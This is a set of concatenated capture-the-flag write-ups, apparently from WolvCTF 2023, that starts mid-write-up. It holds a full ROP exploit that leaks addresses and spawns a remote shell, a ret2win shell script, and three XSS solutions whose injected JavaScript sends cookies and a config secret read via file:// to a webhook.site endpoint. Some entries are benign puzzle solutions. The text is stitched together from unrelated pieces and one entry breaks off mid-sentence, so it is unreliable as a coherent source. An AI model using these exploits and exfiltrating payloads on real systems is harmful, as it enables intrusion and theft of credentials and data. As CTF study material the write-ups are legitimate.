It took me a second to figure out what is happening, but it's related to what i mentioned earlier. The printf in the echo function only takes the "%s" as a format string and a pointer to the start of the string on the stack as arguments. There is no argument to limit the amount of output so it will print the longest ppossible string until it reaches a null byte. Since we are writing As all the way up until the return pointer on the stack and the return pointer probably doesnt contain any null bytes, it will include the instruction pointer in the output.
This is great, as we are able to leak the address of an instruction in the executable. We could theoretically use this to return to whatever we want in the future. However, you might have realised we have a more pressing issue. The leak happens after we send our input, and the program exits straight afterwards.
We need to figure out a way to make the program ask us for more input so we can use the leak. An ideal situation would be if we could call main again to start over, but as previously mentioned this could be quite tricky with ASLR. In situations where I don't know what to do, and there isn't much more code to read, I like to use gdb and look at what happens while the program is running. Eventually I realised that since the instruction pointer points back to main, the return address from echo will be very similar to the rest of the addresses in main. This means that we don't have to change much of the instruction pointer, we can get away with only changing the last one or two bytes.
Inspecting the process mappings in gdb confirms that our new plan could work.

The instructions and functions of the executable are all placed in different sequential chunks in memory. Where these chunks are will be random, but they will always be together and the distance between differenet addresses will be constant. When running in gdb the elf will start at **0x555555554000**. The last three hex characters will usually be 0, and this is what we can take advantage of.
As you can see in the previous screen shot, I also printed the address of main, which was **0x555555555247**. Running `objdump -t challenge` in the terminal will give us "001247 ... main". This is the constant offset from the base of the executable, which we can confirm by calculating **0x555555554000+0x1247=0x555555555247**.
The result of all of this is that we can predict what the last three hex characters of any instruction from the executable will be. Because two hex characters = 1 byte, We can only predict one full byte. Fortunately for us, when disassembling the main function in gdb, we can see that the first main address ends in **247** and the address of the instruction after the call to echo ends in **2b3**. This means it will be enough for us to overwrite the last byte with 0x47 and echo should return to the start of main instead of the end of main. The following python script was my way of doing this:
```pyfrom pwn import *exe = ELF("./challenge")libc = ELF("./libc.so.6")ld = ELF("./ld-2.35.so")context.binary = exep = process("./challenge")gdb.attach(p)#p = remote("echotwo.wolvctf-2023.kctf.cloud", 1337)offset = 279sending = offset + 1 payload = b"A"*offsetpayload += b"\x4c" # start of main func (after push rbp)p.recvline()p.sendline(str(sending + 1).encode())p.sendline(payload)p.interactive()```
You can tell from the python code that sending 0x47, which is the first instruction in main didnt work. I could tell from gdb that the correct address was called, but it seg faults later when referencing gdb in a `movaps xmmword ptr [rbp - 0x600], xmm1` instruction. I have no idea what that instruction does, but it references rbp, so I looked for issues related to that. The first interesting instruction in main is `...24b <+4>: push rbp` (found in gdb) which places a new rbp on the stack. To avoid this, and keep the old one I found out we could jump to main+5 (0x4c) instead and not seg fault.

The program welcomes us again, which means it worked! Now we need to interpret the leak we got previously to know what to send next. Adding the following code interprets and logs the leak for us.
```pyp.recvuntil(b"A"*offset)leak = u64(p.recvline().strip().ljust(8, b"\x00"))log.info(f"{hex(leak)=}")```

It looks like a reasonable address, which is great! Since we know that the main address is constant compared to the base of the executable in memory, we can calculate the base and use that to find other instructions we want to call. I found a ret at +0x101a with ropper and used pwntools to find puts in plt.
```pyexe_base = leak - (exe.sym["main"] + 5)puts_plt = exe_base + exe.plt["puts"]main = exe_base + 0x1247ret = exe_base + 0x101alog.success(f"{hex(exe_base)=}")log.info(f"{hex(puts_plt)=}")```

Above we can see the calculated address of the base of the executable on the left and the process mappings on the right. I put them next to each other to sanity check that the logged address from out script matches the one in gdb, and it does.
Now we can use whatever instructions we want from main, after sending the same payload inside of echo to reach the instruction pointer again. At this point I would usually try to leak a libc address through the global offset table, but when running ropper on the elf, there aren't alot of instructions we can use. Most importantly there is no `pop rdi; ret` gadget which we need to control the argument to any function. We can call puts in plt with the address we have already found, but there is no way for us to place a got address in rdi.
At this point I was confused again, as I didn't know how to proceed. NX is enabled so we can't just place shellcode somewhere, and we cant overwrite any got address because of RELRO. I couldn't imagine a way to combine instructions to control the argument to puts, so without anything smarter to do I decided to check what actually was in rdi at the end of echo:

Wow, we are very "lucky". The stack address that is already in rdi points at a libc address! This means we don't have to control what is in rdi, as the funlockfile pointer will do. We can send the same payload to get to the instruction pointer and call puts before calling main again to send more input. This time we send a ret before main, so we can return to the actual start of main instead of what we did previously. The ret instructions guarantee stack alignment, and shouldn't do any harm. We add 8 times the number of 64 bits registers were sending (one for each p64) to the size we're specifying to make the program allow us to send enough bytes. U64 from pwntools can still be used to interpret the leak we get from our puts call.
```pysecond_payload = b"B"*offsetsecond_payload += p64(ret)second_payload += p64(puts_plt)second_payload += p64(ret)second_payload += p64(main)p.recvuntil(b"Echo2")p.sendline(str(sending + 8*4).encode())p.sendline(second_payload)p.recvuntil(b"B"*offset)p.recvline()libc_leak = u64(p.recvline().strip().ljust(8, b"\x00"))log.info(f"{hex(libc_leak)=}")```

The new address we are leaking still looks like it could be a libc address. We can calculate and store the base of libc by subtracting the offset between the leaked address and the base of libc. This works because, as mentioned multiple times, even though ASLR is activated, the offsets between the addresses in each memory chunk is constant. Running the script we have so far and attaching gdb (either with "gdb -p *pid*" or gdb.attach(p) in python) we can calculate that the difference between our leak and the base of libc found with `info process mappings` is 0x620d0. The following code stores and logs this.
```pylibc.address = libc_leak - 0x620d0log.success(f"{hex(libc.address)=}")```
You can sanity check this by running the script up until this point and matching the base adress of libc in the process mappings in gdb with the last address logged by the python script, as I showed previously with the base of the executable.
Since we called main at the end of the last ropchain, we have another input so the interesting part of the solution is behind us. We can use the base of libc address and the previous way to get to the instruction pointer to call `system("/bin/sh")`. I found a pop rdi; ret gadget in the libc at the 0x2a3e5 offset, which is used to place "/bin/sh" in rdi. The following code does what we need and looks like the end of most reet2libc challenges.
```pylibc_system = libc.sym["system"]binsh = next(libc.search(b"/bin/sh"))libc_exit = libc.sym["exit"]pop_rdi = libc.address + 0x2a3e5log.info("binsh: "+ str(hex(binsh)))log.info("system: "+ str(hex(libc_system)))log.info("exit: "+ str(hex(libc_exit)))log.info("pop_rdi: "+ str(hex(pop_rdi)))third_payload = b"B"*offsetthird_payload += p64(pop_rdi)third_payload += p64(binsh)third_payload += p64(ret)third_payload += p64(libc_system)third_payload += p64(libc_exit)p.recvuntil(b"Echo2")p.sendline(str(sending + 8*5).encode())p.sendline(third_payload)```
We needed to make sure to add 8*5 to the size were sending, because we're sending 5 addresses now. When we run the full script we get a shell on the server and we can claim our flag.

## Full Exploit:```pyfrom pwn import *exe = ELF("./challenge")libc = ELF("./libc.so.6")ld = ELF("./ld-2.35.so")context.binary = exe#p = process("./challenge")#gdb.attach(p)p = remote("echotwo.wolvctf-2023.kctf.cloud", 1337)offset = 279sending = offset + 1payload = b"A"*offsetpayload += b"\x4c" # start of main func (after push rbp)p.recvline()p.sendline(str(sending + 1).encode())p.sendline(payload)p.recvuntil(b"A"*offset)leak = u64(p.recvline().strip().ljust(8, b"\x00"))log.info(f"{hex(leak)=}")exe_base = leak - (exe.sym["main"] + 5)puts_plt = exe_base + exe.plt["puts"]main = exe_base + 0x1247ret = exe_base + 0x101alog.success(f"{hex(exe_base)=}")log.info(f"{hex(puts_plt)=}")print("===========================")second_payload = b"B"*offsetsecond_payload += p64(ret)second_payload += p64(puts_plt)second_payload += p64(ret)second_payload += p64(main)p.recvuntil(b"Echo2")p.sendline(str(sending + 8*4).encode())p.sendline(second_payload)p.recvuntil(b"B"*offset)p.recvline()libc_leak = u64(p.recvline().strip().ljust(8, b"\x00"))log.info(f"{hex(libc_leak)=}")libc.address = libc_leak - 0x620d0log.success(f"{hex(libc.address)=}")print("===========================")libc_system = libc.sym["system"]binsh = next(libc.search(b"/bin/sh"))libc_exit = libc.sym["exit"]pop_rdi = libc.address + 0x2a3e5log.info("binsh: "+ str(hex(binsh)))log.info("system: "+ str(hex(libc_system)))log.info("exit: "+ str(hex(libc_exit)))log.info("pop_rdi: "+ str(hex(pop_rdi)))third_payload = b"B"*offsetthird_payload += p64(pop_rdi)third_payload += p64(binsh)third_payload += p64(ret)third_payload += p64(libc_system)third_payload += p64(libc_exit)p.recvuntil(b"Echo2")p.sendline(str(sending + 8*5).encode())p.sendline(third_payload)p.interactive()``` |
This writeup can also be found at [https://www.bugsbunnies.tk/2023/03/18/zombie.html](https://www.bugsbunnies.tk/2023/03/18/zombie.html).
We're presented with a simple webpage.

By submitting `<script>alert(1)</script>` to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.
The user input is submitted as a url parameter like this: `https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`.
This url can be submitted through the second input field and a bot will look at it.
The webpage is the same for all versions of the challenge, only the config changes slightly.
Zombie 401 changes things up a little. The flag is no longer part of the cookies and is just added to the config file but never used in the code.
```json{ "flag": "find-the-secret-flag", "httpOnly": false, "allowDebug": true, "secret-flag": "wctf{redacted}"}```
This means we can only access it through techniques like LFI or RCE.At this point the browser-implementation used by the bot gets interesting.
The bot uses [Zombie.js](https://www.npmjs.com/package/zombie) to view the provided webpage.Zombie.js is a headless browser that is used for testing web applications. As such its focus is on being as fast as possible and not on security.As such many of the expected [security measures are missing in Zombie.js](https://github.com/assaf/zombie/issues/1169).
One such shortcomming is that Zombie.js does not separate origins and thus allows us to read arbitrary files by using the file:// protocol.
Since everything is a file on Linux we can use this to first get more information on the process we're running in (by accessing `/proc/self/status` and `/proc/<pid>/environ`) and then use that to read the flag from the config file as shown below.
```pythonimport requestsimport osimport reimport urllib.parseimport jsonimport time
# setup buckettoken_path = ".webhook-site.token"if os.path.exists(token_path): with open(token_path, "r") as f: bucket_id = f.read()else: r = requests.post("https://webhook.site/token") bucket_id = r.json()["uuid"] with open(token_path, "w") as f: f.write(bucket_id)
bucket_url = f"https://webhook.site/{bucket_id}"
# execute exploitbase_base = 'https://zombie-401-tlejfksioa-ul.a.run.app/'visit_base = f'{base_base}/visit?url='show_base = f'{base_base}/zombie?show='payload = f"""<script>(async function() {{ let url = "file:///proc/self/status"; let response = await fetch(url); let content = await response.text(); let pid = content.toString().split("\\n")[3].split("\\t")[1];
url = "file:///proc/" + pid + "/environ"; response = await fetch(url); content = await response.text(); url = "file://" + content.split("\\u0000")[8].split("=")[1] + "/config.json" response = await fetch(url); content = await response.json(); let flag = content["secret-flag"]
await fetch("{bucket_url}?data=" + JSON.stringify(flag));}})();</script>"""
target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))r = requests.get(target_url)print(r.text)
# fetch resulttime.sleep(.1)r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")data = json.loads(r.json()["data"][0]["query"]["data"])print(data)``` |
This writeup can also be found at [https://www.bugsbunnies.tk/2023/03/18/zombie.html](https://www.bugsbunnies.tk/2023/03/18/zombie.html).
We're presented with a simple webpage.

By submitting `<script>alert(1)</script>` to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.
The user input is submitted as a url parameter like this: `https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`.
This url can be submitted through the second input field and a bot will look at it.
The webpage is the same for all versions of the challenge, only the config changes slightly.
For Zombie 201 the config is as follows:
```json{ "flag": "wctf{redacted}", "httpOnly": true, "allowDebug": true}```
The config is used to construct a cookie that is set on the bot when it visits the page.
By looking at the source code we can find an interesting endpoint however:
```js// useful for debugging cloud deploymentsapp.get("/debug", function (req, res) { if (config.allowDebug) { res.send({ "remote-ip": req.socket.remoteAddress, ...req.headers }); } else { res.send("sorry, debug endpoint is not enabled"); }});```
By utilizing this endpoint we can get the cookie through reflected XSS:
```pythonimport requestsimport osimport jsonimport urllib.parse
# setup buckettoken_path = ".webhook-site.token"if os.path.exists(token_path): with open(token_path, "r") as f: bucket_id = f.read()else: r = requests.post("https://webhook.site/token") bucket_id = r.json()["uuid"] with open(token_path, "w") as f: f.write(bucket_id)
bucket_url = f"https://webhook.site/{bucket_id}"print(f"https://webhook.site/#!/{bucket_id}/")
# execute exploitbase_base = 'https://zombie-201-tlejfksioa-ul.a.run.app'visit_base = f'{base_base}/visit?url='show_base = f'{base_base}/zombie?show='payload = f"""<script>(async function() {{ await fetch("{bucket_url}?cookie=" + JSON.stringify(await (await fetch("https://zombie-201-tlejfksioa-ul.a.run.app/debug")).json()))}})();</script>"""
target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))print("sending", target_url)r = requests.get(target_url)print(r.text)
# fetch resultr = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")print(json.loads(r.json()["data"][0]["query"]["cookie"])["cookie"])```
|
This writeup can also be found at [https://www.bugsbunnies.tk/2023/03/18/zombie.html](https://www.bugsbunnies.tk/2023/03/18/zombie.html).
We're presented with a simple webpage.

By submitting `<script>alert(1)</script>` to the first input we can see that it is not sanitized. This means we can inject arbitrary javascript into the page, making this an XSS vulnerabilty.
The user input is submitted as a url parameter like this: `https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Ealert%281%29%3C%2Fscript%3E`.
This url can be submitted through the second input field and a bot will look at it.
The webpage is the same for all versions of the challenge, only the config changes slightly.
For Zombie 301 the config is as follows:
```json{ "flag": "wctf{redacted}", "httpOnly": true, "allowDebug": false}```
The config is used to construct a cookie that is set on the bot when it visits the page.
For Zombie 301 httpOnly is set to true and allowDebug is set to false, meaning we can't access the cookie through our simple XSS and we can't use the debug endpoint.
Since the request is still sent using the header we can just extract the cookie from the request header regardless of the response from the server. This is due to missing security measurements in the browser-implementation used by the bot.
```pythonimport requestsimport osimport reimport urllib.parse
# setup buckettoken_path = ".webhook-site.token"if os.path.exists(token_path): with open(token_path, "r") as f: bucket_id = f.read()else: r = requests.post("https://webhook.site/token") bucket_id = r.json()["uuid"] with open(token_path, "w") as f: f.write(bucket_id)
bucket_url = f"https://webhook.site/{bucket_id}"print(f"https://webhook.site/#!/{bucket_id}/")
# execute exploitbase_base = 'https://zombie-301-tlejfksioa-ul.a.run.app/'visit_base = f'{base_base}/visit?url='show_base = f'{base_base}/zombie?show='payload = f"""<script>(async function() {{ await fetch("{bucket_url}?cookie=" + JSON.stringify((await fetch("https://zombie-301-tlejfksioa-ul.a.run.app/debug"))))}})();</script>"""
target_url = visit_base + urllib.parse.quote_plus(show_base + urllib.parse.quote_plus(payload))print("sending", target_url)r = requests.get(target_url)print(r.text)
# fetch resultr = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")data = r.json()["data"][0]["query"]["cookie"]print(re.search(r"(?<=flag=).*?(?=\")", data).group(0))``` |
# theyseemerolling - Beginner (50 pts)
## Description> they hatin my cryptosystem
### Provided filestheyseemerolling.zip - a ZIP archive containing two files \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=RhJ4JTh03T710fo)\] - `output.txt` - the ciphertext a hex digest \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=6itv0WlvB57iGJh)\] - `enc.py` - the Python code used to generate the ciphertext \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=ICFzAe7KidyaIm3)\]
## Ideas and observations1. the sript generates a random 8-byte key with `os.urandom(8)`2. it then reads the plaintet from a file as bytes and pads it to `length % 4 * 4 + 4` with NULL bytes3. the resulting byte-array is then encrypted with the key in blocks of 4 bytes - a four byte index is prepended to each block
## Notes1. because of the four byte index, the first 4 bytes of the random key are always only used to encrypt the padding bytes, so only the last 4 bytes of the key interest us2. the key will start with `wctf{` meaning we can just XOR the lower 4 bytes of the first block with `wctf` to recover the lower 4 bytes of the key
## Solution CyberChef recipeBecause Register operators don't work inside Subsections, there's a manual cleanup Find / Replace operators at the end to restore the beginning of the flag.[CyberChef link](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Subsection('%5E(........)',false,false,false)XOR(%7B'option':'Latin1','string':'wctf'%7D,'Standard',false)Merge(false)Register('%5E....(....)',false,false,false)XOR(%7B'option':'Latin1','string':'$R0'%7D,'Standard',false)Find_/_Replace(%7B'option':'Regex','string':'....(....)'%7D,'$1',true,false,false,false)Find_/_Replace(%7B'option':'Regex','string':'%5E....'%7D,'wctf',true,false,true,false)&input=OTgzZjY4N2YwM2Y4ODRhOTk4M2Y2ODdlMGZmMmFmYmM5ODNmNjg3ZDAzYTg5MWJkOTgzZjY4N2MyYmY2ODk5MDk4M2Y2ODdiMDRlOWMwYTk5ODNmNjg3YTJiZThjNGE2OTgzZjY4NzkxMGM0ODJmZjk4M2Y2ODc4MThmN2FmYjY5ODNmNjg3NzQ0ZWU4MjkwOTgzZjY4NzY0NGVjOWU5MDk4M2Y2ODc1MTdlOTg5YmY5ODNmNjg3NDAwYWI4ZGNmCg)
`wctf{i_sw3ar_my_pr0f_s4id_r0ll_y0ur_0wn_crypt0}` |
# cat - Beginner (50 pts)
## Description> meow> > `nc cat.wolvctf.io 1337`
### Provided filesc_llenge - 64-bit ELF executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=5kXe1neKxOAAjE6)\]callenge.c - the source code for the executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=WEfUR4fytEbkXgf)\]Makefile - Makefile used to build the executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=UZu5Vtv4MSILC2I)\]Dockerfile - Dockerfile used to host the challenge \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=Enjowhsn8lsh9ZS)\]
## Ideas and observations1. based on the source code, the program prints some preamble, uses `gets()` to read user input into a buffer of 128 bytes, prints the buffer out and exits2. there's a `win()` function not called in the code that prints a message and spawns a shell with `system()`
## Notes1. a ret2win buffer overflow2. binary is 64-bit, so stack needs to be 16-byte aligned or `system()` will SEGFAULT
## Solution script```pythonfrom pwn import *
exe = ELF("challenge")context.binary = exe
p = process(exe.path)p.recvuntil(b"dangerous!\n")p.sendline(cyclic(250, n=8))p.wait()core = p.corefileoffset = cyclic_find(core.read(core.rsp, 8), n=8)
rop = ROP(exe)ret=rop.find_gadget(["ret"])rop.raw(offset * b"A")rop.call(ret)rop.call(exe.symbols.win)
r = remote("cat.wolvctf.io", 1337)r.recvuntil(b"dangerous!\n")r.sendline(rop.chain())r.recv()r.sendline(b'cat flag.txt')print(r.recvS().strip())r.close()```
`wctf{d0n+_r0ll_y0ur_0wn_c_:3}` |
# elytra - Beginner (50 pts)
## Description> I beat the game! But where's the flag?
### Provided filesiwon.txt - a plaintext file \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=FwMibBXASf8LXCb)\]
### Ideas and observations1. googling the task name, [elytra](https://minecraft.fandom.com/wiki/Elytra) are a rare end-game item in the game Minecraft2. googling part of the text file, it's the [End Poem](https://minecraft.fandom.com/wiki/End_Poem) (found in the Java Edition's `client.jar` at `assets/minecraft/texts/end.txt`) a poem penned by Julian Gough that appears to players at the end of a Minecraft playthrough before the credits crawl. - the raw text from `end.txt` has some byte-sequences replaced before the text is displayed to the player, in `iwon.txt` the `PLAYERNAME` sequence is replaced with `doubledelete`, the line begining `§2` and `§3` are stripped, and the `§f§k§a§b§3` denoting scrambled text is replaced with `[scrambled]`
### Notes1. comparing the original `end.txt` with the aforementioned replacements with `iwon.txt` shows some line-ending differences2. not all lines are different, though, some lines in `iwon.txt` are `\r\n` terminated, others are `\n` terminated
### Solution script```pythonfrom Crypto.Util.number import long_to_bytes
text=open('iwon.txt','r', newline='').read()flag_l = int(''.join(['1' if x[-1] == '\r' else '0' for x in o.split('\n') if len(x) > 0]),2)print(long_to_bytes(flag_l).decode())```
`wctf{ggwp}` |
# baby-re - Beginner (50 pts)
## Description> Just a wee little baby re challenge.
### Provided filesbaby-re - 64-bit ELF executable \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=n8ID6h9GpUgq3k6)\]
## Ideas and observations1. `strings` shows a couple of fake flags and some prompt strings2. only one flag in the strings output is not referenced in any code3. that's the correct flag
`wctf{Oh10_Stat3_1s_Smelly!}` |
# yowhatsthepassword - Beginner (50 pts)
## Description> hey I lost the password :(
### Provided files`main.py` - a Python script \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=RQFxntJKah4sleP)\]
### Ideas and observations1. a comment in the script purpots the task is to guess a number between 0 and 2**322. the value the user inputs is compared agains a value generated from a base64 encoded string3. if the values match, it's used to seed Python's random number generator and random integers between 97 and 126 are generated until one matches `ord('}')`
### Notes1. we can just take the comparison value from the script and feed it ot the generator function to get the flag
### Solution script```pythonimport random
random.seed(2536466855)c = 0while c != ord('}'): c = random.randint(97, 126) print(end=chr(c))print()```
`wctf{ywtp}` |
### Overview
Both can be solved with this solution. The servers sends a timestamp and a few random numbers. The goal is to send back the next number in the sequence.
### Idea
The sequence starts with the very first number after a random seed is set, so we can narrow the search space to seeds that start with it. After getting a few candidates, it is possible to check if the other numbers match by using the provided algorithm. The server doesn't have rate limiting, so we can check just a subset of random seeds and request another batch of numbers if none fit.
### Solution
Step 1: Dump a few pairs of (seed, first_random_number) in a file
```"
d = {}
i = 0
with open('data.csv') as csvfile:
spamreader = csv.reader(csvfile)
for row in spamreader: i+=1 # check if in dict if i == 20796091: break if row[0] in d: d[row[0]].append(row[1]) else: d[row[0]] = [row[1]] z = row[0]
print(f"Loaded {i} lines")
while True: r = requests.post(url) data = r.text.split("\\n")
data[0] # time leak = data[1]
if leak in d: number = os.popen(f"php a.php {len(d[leak])} {' '.join(d[leak])} {' '.join(data[:-2])}").read()
print(f"Number: {number}")
cookies = r.cookies
r = requests.post(url+"submit", data={"next": number}, cookies=cookies) print(r.text) if "ENO" in r.text: exit()
```
## Flags
`ENO{M4sT3r_0f_R4nd0n0m1c5}` - randrevenge`ENO{PHD_1N_TrU3_R4nd0n0m1c5_516189}` - randrevengerevenge |
## Solution
İndirdiğimiz zip dosyasını normal bir arşiv programı ile açtığımızda bunun bir disk imajı olabileceğini görüyoruz.

Gizli dosya olması ihtimaline karşı mantıksal olarak değil fiziksel olarak okumak için dosyayı FTK Imager ile açıyoruz. Belki de ihtiyaç yoktur ama ben emin olmak istedim.



Burdan sonrası dosyaları detaylıca incelemek oluyor. Fazla dosya olmadığı için tek tek incelerken "developer" kullanıcısının powershell geçmişine denk geliyorum.```/Users/developer/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt```
Dosyayı okurken, bir metni "0x06" hex'i ile xor'ladığını görüyoruz.

CyberChef is your friend.

## Flag
0xL4ugh{Y0u_AR3_G0OD_1NV3571G70R} |
# Abstract Art - Misc (100 pts)
## Description> I saw this new painting in a gallery by famed painter Otto Stairee O'Graham. Everyone raves about how clearly it represents some common motif, but looking at it just makes me go cross-eyed.> > flag is: wctf{name of object in painting} (hint: it's two syllables)
### Provided filesabstract.jpeg - a JPEG image \[[download](https://i.imgur.com/ZR6zR32.png)\]
## Ideas and observations1. as a 90s kid, the image is immediately recognisable as a "Magic Eye" image - or more properly and autostereogram; a 2D image that is capable of producing the illusion of a 3D scene when viewed correctly.
## Notes1. I'm technically able to view autostereograms, but I see them with the Z axis inverted and viewing them causes me not-insignificant physical pain2. Luckily there are tools to decode them
## Solution1. Upload the image to [Jérémie Piellard's stereogram solver](https://piellardj.github.io/stereogram-solver/) and the result is a fairly clear image of a teapot:
the flag is `wctf{teapot}` |
# Switcharoo - Misc (100 pts)
## Description> It's a busy weekend, with tens of CTF happening at the same time :) If there is extra time, why not check out https://ctf.b01lers.com? BTW, take this as a gift: YmN0ZntoMzExMF93MHIxZF9nMWY3X2ZyMG1fN2gzX2IwMWxlcl9zMWQzfQ==
## Ideas and observations1. the provided "gift" is the base64 encoded flag to the b01lers CTF challenge "switcheroo"2. the description for "switcheroo" is: >It's a busy weekend, tens of CTFs happening at the same time :) If there is extra time, why not checkout https://wolvctf.io?Btw, take this as a gift: d2N0ZntNNDF6M180bmRfQmx1M30K
## Solution1. base64 decoding the gift from the b01lers challenge gets us the flag
`wctf{M41z3_4nd_Blu3}` |
# Limited Characters - Misc (439 pts)
## Description> Keyboards are expensive, so I've decided to be nice and cut down on the unnecessary real estate. Enjoy your low form-factor python terminal!> > nc limited-characters.wolvctf.io 1337
### Provided files`jail.py` - the Python source for the server \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=UC4oDtpjylXx32Y)\] Dockerfile - the Dockerfile for the container hosting the challenge \[[download](https://ctfnote.shinmai.wtf:31337/files/downloadFile?id=hZuLpEOljlbPAjr)\]
## Ideas and observations1. A python jail challenge where a payload for `exec(eval(code))` must be constructed that causes the contents of `flag.txt` to be output to stdout but that only contains chracters from the set `1 |
```pythonimport pwnimport time
base_piano = [ '____________________________', '| | | | | | | | | | | | ', '| | | | | | | | | | | | ', '| |1| |2| | |3| |4| |5| ', '| |_| |_| | |_| |_| |_| ', '| | | | | | | ', '| C | D | E | F | G | A | B ', '|___|___|___|___|___|___|___',]
empty_piano = [ '____________________________', '| | | | | | | | | | | | ', '| | | | | | | | | | | | ', '| | | | | | | | | | | | ', '| |_| |_| | |_| |_| |_| ', '| | | | | | | ', '| | | | | | | ', '|___|___|___|___|___|___|___']
end_line = [ '_', '|', '|', '|', '|', '|', '|', '|',]
note_mapping = { 'C': 'C', 'D': 'D', 'E': 'E', 'F': 'F', 'G': 'G', 'A': 'A', 'B': 'B', 'C#': '1', 'D#': '2', 'F#': '3', 'G#': '4', 'A#': '5', 'Db': '1', 'Eb': '2', 'Gb': '3', 'Ab': '4', 'Bb': '5'}
piano_characters = 'ABCDEFG12345'
def piano_from_note(piano, note): new_piano = [] for line in piano: new_piano.append(line.replace(note_mapping[note], 'X')) return new_piano
def clean_piano(piano): cleaned_piano = [] for line in piano: new_line = line for char in piano_characters: new_line = new_line.replace(char, ' ') cleaned_piano.append(new_line) return cleaned_piano
def note_from_request(request): split_request = request.split() counter = split_request[3].replace('th', '').replace('st', '').replace('nd', '').replace('rd', '') note = split_request[4] return (counter, note)
def assemble_zipped_piano(zipped_piano): lines = [] for tup in zipped_piano: joined = ''.join(tup) lines.append(f'{joined}\n') return ''.join(lines)
def build_output(query): counter, note = note_from_request(query) solved_base_piano = piano_from_note(base_piano, note) cleaned_solved_base_piano = clean_piano(solved_base_piano) zipped_piano = zip(*[empty_piano for c in range(0, int(counter)-1)], cleaned_solved_base_piano, end_line) return assemble_zipped_piano(zipped_piano)
def main(): host = 'prog.dvc.tf' port = 7751 conn = pwn.remote(host, port) for i in range(0, 12): start_stuff = conn.recvline() query = conn.recvline() time.sleep(1) output = build_output(query.decode('utf-8')) conn.send(bytes(output, 'utf-8')) while True: line = conn.recvline() print(line.decode('utf-8'))
main()``` |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.